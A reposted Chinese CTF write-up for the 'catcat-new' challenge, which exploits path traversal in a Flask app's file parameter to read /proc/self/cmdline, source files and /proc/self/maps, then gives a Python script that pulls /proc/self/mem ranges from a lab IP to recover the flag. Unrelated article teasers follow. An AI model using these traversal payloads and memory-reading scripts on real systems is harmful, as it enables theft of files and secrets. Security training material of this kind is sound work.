【网络安全/CTF】catcat-new

news2025/7/18 1:37:34

该题考察文件包含漏洞

正文

在这里插入图片描述

看到file参数,考虑文件读取

在这里插入图片描述

读取当前进程的命令行参数

?file=../../../../proc/self/cmdline

在这里插入图片描述

读取app.py:

在这里插入图片描述

b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)'

格式化:

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

# 初始化变量
flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)

# 设置 Flask 的密钥
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

# 检查是否存在标志文件,并读取标志内容
if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")

# 主页路由
@app.route('/', methods=['GET'])
def index():
    # 获取 details 文件夹下的文件名列表
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        # 提取文件名中的猫名并添加到列表中
        cats_list.append(i[:i.index('.')])
    
    # 渲染主页模板,传递猫名列表和 cat 函数给模板
    return render_template("index.html", cats_list=cats_list, cat=cat)

# 详情页路由
@app.route('/info', methods=["GET", 'POST'])
def info():
    # 获取请求参数
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
    
    # 渲染详情页模板,传递猫名、详情信息给模板
    return render_template("detail.html", catname=name, info=cat(filename, start, end))

# 管理员权限路由
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    # 检查是否具有管理员权限
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"

# 启动 Flask 应用
if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

关键在于:

    if session.get('admin') == 1:
        return flag

也就是说当session为admin时,即可得到flag

所以我们需要伪造session为admin

而session伪造的必要条件是获取SECRET_KEY读取

读取/proc/self/maps获得当前应用运行的内存映射信息:

在这里插入图片描述

读取cat.py

在这里插入图片描述

格式化:

import os, sys, getopt

# 定义一个函数,用于读取指定文件的部分内容
def cat(filename, start=0, end=0) -> bytes:
    data = b''

    try:
        start = int(start)
        end = int(end)

    except:
        start = 0
        end = 0

    # 检查文件是否存在并可读
    if filename != "" and os.access(filename, os.R_OK):
        f = open(filename, "rb")

        if start >= 0:
            f.seek(start)
            if end >= start and end != 0:
                data = f.read(end - start)
        else:
            data = f.read()

        f.close()

    else:
        data = ("File `%s` not exist or cannot be read" % filename).encode()

    return data


if __name__ == '__main__':
    # 解析命令行参数
    opts, args = getopt.getopt(sys.argv[1:], '-h-f:-s:-e:', ['help', 'file=', 'start=', 'end='])
    fileName = ""
    start = 0
    end = 0

    for opt_name, opt_value in opts:
        if opt_name == '-h' or opt_name == '--help':
            # 打印帮助信息
            print("[*] Help")
            print("-f --file File name")
            print("-s --start Start position")
            print("-e --end End position")
            print("[*] Example of reading /etc/passwd")
            print("python3 cat.py -f /etc/passwd")
            print("python3 cat.py --file /etc/passwd")
            print("python3 cat.py -f /etc/passwd -s 1")
            print("python3 cat.py -f /etc/passwd -e 5")
            print("python3 cat.py -f /etc/passwd -s 1 -e 5")
            exit()

        elif opt_name == '-f' or opt_name == '--file':
            # 获取文件名参数
            fileName = opt_value

        elif opt_name == '-s' or opt_name == '--start':
            # 获取起始位置参数
            start = opt_value

        elif opt_name == '-e' or opt_name == '--end':
            # 获取结束位置参数
            end = opt_value

    if fileName != "":
        # 调用 cat 函数并打印结果
        print(cat(fileName, start, end))

    else:
        print("No file to read")

其中

 if start >= 0:
	f.seek(start)
	if end >= start and end != 0:
		data = f.read(end-start)

用于读取start到end地址间的数据

我们已经读取了/proc/self/maps获得了应用运行的内存映射信息,接下来的思路就是:读取/proc/self/mem获得当前内存的详细信息,由于在app.py的info()方法从HTTP请求中接收了start和end参数,即可传参,从而读取任意文件中任意两个地址之间的数据,最后使用正则表达式匹配字符串\w+{\w+}直接获取flag

脚本如下:

import requests
import re

baseUrl = "http://61.147.171.105:64383/info?file=../../../../.."

if __name__ == "__main__":
    url = baseUrl + "/proc/self/maps"
    # 发送 HTTP 请求并获取响应文本,然后按换行符进行分割
    memInfoList = requests.get(url).text.split("\\n")
    mem = ""
    for i in memInfoList:
        # 使用正则表达式匹配内存地址信息
        memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
        if memAddress:
            # 将匹配到的内存地址转换为十六进制数
            start = int(memAddress.group(1), 16)
            end = int(memAddress.group(2), 16)
            # 构造新的 URL,用于获取特定内存片段的内容
            infoUrl = baseUrl + "/proc/self/mem&start=" + str(start) + "&end=" + str(end)
            # 发送 HTTP 请求并获取响应文本
            mem = requests.get(infoUrl).text
            # 如果响应文本中包含形如 "{xxx}" 的字符串,则打印出来
            if re.findall(r"{[\w]+}", mem):
                print(re.findall(r"\w+{\w+}", mem))

结果如下:

在这里插入图片描述

得到flag

catctf{Catch_the_c4t_HaHa}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1334960.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flutter详解及案例代码

概念 Flutter是由Google开发的开源UI框架,旨在快速构建高质量的移动应用程序。与传统的移动应用开发方式不同,Flutter使用单一代码库构建应用程序,可以同时在iOS和Android上运行。 Flutter的核心是使用Dart语言编写的,并且具有自…

亚马逊、虾皮、shein、Lazada等平台卖家如何冲刺圣诞大促,提升产品销量?

随着年底的临近,2023年的最后一个重要促销活动——圣诞大促已经冲刺阶段。 那现阶段对我们卖家来说,有哪些值得我们关注的点呢? 1.明确各级别产品的推广目的 根据产品表现,将产品分为主推款、平推款和清货款,然后针…

【adb】--- win10 配置 adb环境 超详细 (持续更新中)

在编程的艺术世界里,代码和灵感需要寻找到最佳的交融点,才能打造出令人为之惊叹的作品。而在这座秋知叶i博客的殿堂里,我们将共同追寻这种完美结合,为未来的世界留下属于我们的独特印记。 【adb】--- win10 配置 adb环境 超详细 &…

【技术分享】单网口远程透传网关快速实现昆仑通态触摸屏程序远程上下载及监控

准备工作 一台可联网操作的电脑一台单网口的远程透传网关及博达远程透传配置工具网线一条,用于实现网络连接和连接触摸屏一台昆仑通态触摸屏及其编程软件一张4G卡或WIFI天线实现通讯(使用4G联网则插入4G SIM卡,WIFI联网则将WIFI天线插入USB口&#xff0…

notepad++打开大文件失败问题

问题 :::warning 打开300多兆的日志文件提示文件太大打不开,但是其他版本的能打开 ::: 解决 换版本,没有好办法,换个版本就可以了

嵌入式科普(7)你知道JTAGSWD接口最少接几根线?

一、目的/概述 二、实际问题 2.1 原接线方式 2.2 解决方案 2.3 思考GND原因 三、资料来源 四、JTAG&SWD相关概念的逻辑 五、总结和提问 嵌入式科普(7)你知道JTAG&SWD接口最少接几根线? 一、目的/概述 1、那位同学直接抢答说2根线,数…

excel统计分析——K-S正态性检验

参考资料: 马兴华,张晋昕.数值变量正态性检验常用方法的对比[J].循证医学,2014,14(02):123-128 统计推断——正态性检验(图形方法、偏度和峰度、统计(拟合优度)检验)_sm.distributions.ecdf-CSDN博客 K-S检验法判断…

汽车之家获2023金网奖、艾奇奖:新商业时代如何打好内容营销牌

商业世界,营销是主线,是当之无愧的主角。从最原始的王婆卖瓜式的叫卖,到广告式的轰炸传播、跨界营销,再到润物细无声的内容营销。营销在悄然迭代,而当下,正值内容营销的最好时代。 因为内容无处不在。读者…

windows安全配置实验手册

访问控制策略(L1940520022J) 预备知识 Windows 7中,不仅有面向软件的限制方法,还增加了一种名为AppLocker的访问控制策略(仅适用于企业版和旗舰版)。 实验环境 操作系统类型:windows 7。 实…

优雅地使用python读取excel

python读取excel可以用pandas模块,功能比较强大 在对应的虚拟环境里面用anaconda安装(如果你的python运行环境是用anaconda配置的),如果没有添加虚拟环境,直接在终端里面pip3 install pandas安装就可以。 import pan…

测试C#使用AForge从摄像头获取图片

百度“C# 摄像头”关键词,从搜索结果来看,使用OpenCV、AForge、window动态链接库获取摄像头数据的居多,本文学习基于Aforge.net连接摄像头并从摄像头获取图片的基本方法。   AForge相关包(尤其是相关的控件)主要针对…

个人或企业为啥要搭建及自己的知识付费平台才有前景?

在知识经济的时代,知识的传播和变现显得愈发重要。许多个人或企业选择将自己的知识、技能和经验通过课程的形式进行传播,以实现知识的价值。然而,在使用其他平台进行课程销售的过程中,他们常常面临着一些问题和挑战。 首先&#…

《C++避坑神器·二十五》简单搞懂json文件的读写之遍历json文件读写

json.hpp库放在文章末尾 1、遍历json文件读写 (1)插入新键值对到json之情形1 原来json文件如下所示: {"Connection": {"IpAddress": "192.168.20.1","Rock": 0,"Solt": 1}, "Data…

Spring之国际化:i18n

学习的最大理由是想摆脱平庸,早一天就多一份人生的精彩;迟一天就多一天平庸的困扰。各位小伙伴,如果您: 想系统/深入学习某技术知识点… 一个人摸索学习很难坚持,想组团高效学习… 想写博客但无从下手,急需…

业务模式画布(Business Model Canvas)

本来应该进步了解业务架构和业务分析的知识,可是突然发现一个问题,就是在这透彻这两个概念之前,需要一个更为清晰的概念基础,那就是Business Model,很多时候翻译未商业模式,我更喜欢称之为业务模式&#xf…

SpringMVC之跨域请求

系列文章目录 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 SpringMVC之跨域请求 提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 系列文章目录前言一、什么是同源策略…

将mapper.xml保存为idea的文件模板

将mapper.xml保存为idea的文件模板 在idea的File and Code Templates中将需要使用模板的内容添加为模板文件。 那么接下来请看图&#xff0c;跟着步骤操作吧。 mapper.xml文件内容 <?xml version"1.0" encoding"UTF-8"?> <!DOCTYPE mapper P…

漏洞复现-红帆OA iorepsavexml.aspx文件上传漏洞(附漏洞检测脚本)

免责声明 文章中涉及的漏洞均已修复&#xff0c;敏感信息均已做打码处理&#xff0c;文章仅做经验分享用途&#xff0c;切勿当真&#xff0c;未授权的攻击属于非法行为&#xff01;文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的…

Rust中saturating_sub的使用

为了防止整数溢出&#xff0c;开发人员通常使用checked_add、checked_sub、saturating_add、saturating_sub等函数&#xff0c;而不是简单的加法和减法&#xff08;、-&#xff09; 关于饱和减法 saturating 是 使饱和之意 饱和减法&#xff08;Saturating Subtraction&#xf…

【网络编程】基于UDP数据报实现回显服务器/客户端程序

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【网络编程】【Java系列】 本专栏旨在分享学习网络编程的一点学习心得&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 前言 我们如果…